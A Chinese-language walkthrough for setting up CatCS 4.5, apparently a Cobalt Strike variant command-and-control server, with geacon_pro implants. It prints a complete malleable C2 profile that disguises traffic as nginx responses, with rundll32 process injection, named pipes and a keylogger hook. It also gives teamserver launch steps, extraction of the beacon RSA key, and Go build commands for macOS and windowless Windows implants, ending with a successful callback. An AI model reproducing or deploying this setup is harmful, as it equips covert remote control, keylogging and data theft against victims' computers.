catcs4.5部署

修改server端和client端的properties，保持一致。

这里使用默认的geacon_profile进行测试，上传到server端，保存为geacon.profile:

set sleeptime "3000";https-certificate {set C "KZ";set CN "foren.zik";set O "NN Fern Sub";set OU "NN Fern";set ST "KZ";set validity "365";
}http-get {set uri "/www/handle/doc";client {metadata {base64url;prepend "SESSIONID=";header "Cookie";}}server {header "Server" "nginx/1.10.3 (Ubuntu)";header "Content-Type" "application/octet-stream";header "Connection" "keep-alive";header "Vary" "Accept";header "Pragma" "public";header "Expires" "0";header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";output {mask;netbios;prepend "data=";append "%%";print;}}
}http-post {set uri "/IMXo";client {id {				mask;netbiosu;parameter "doc";}output {mask;base64url;prepend "data=";append "%%";		print;}}server {header "Server" "nginx/1.10.3 (Ubuntu)";header "Content-Type" "application/octet-stream";header "Connection" "keep-alive";header "Vary" "Accept";header "Pragma" "public";header "Expires" "0";header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";output {mask;netbios;prepend "data=";append "%%";print;}}
}post-ex {set spawnto_x86 "c:\\windows\\syswow64\\rundll32.exe";set spawnto_x64 "c:\\windows\\system32\\rundll32.exe";set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##";set keylogger "SetWindowsHookEx";
}

然后修改CatServer.properties中的参数CatServer.profile为我们生成的profile文件

CatServer.profile = geacon.profile

运行服务端

chmod +x teamserver TeamServer.prop
sudo ./teamserver

客户端连接

接下来生成一个监听器listener，主要要使用https，如果是http需要将geacon_pro的config.go中sslHTTP改成"http://"

生成geacon_pro

git clone https://github.com/testxxxzzz/geacon_pro.git
cd geacon_pro

如果使用readme中默认的profile的话config.go中有两处需要修改，

获取RsaPublicKey

使用BeaconTool工具，读取server端的隐藏文件.cobaltstrike.beacon_keys

java -jar BeaconTool.jar -i .cobaltstrike.beacon_keys -rsa

复制其中的PUBLIC KEY至config中对应位置，修改C2地址为监听器的url

go编译生成geacon，例如：

# arm mac
export GOOS="darwin" && export GOARCH="arm64" && go build -ldflags "-s -w" main.go
# x86 windows
export GOOS="windows" && export GOARCH="amd64" && go build -ldflags "-H windowsgui -s -w" main.go

观察到上线成功
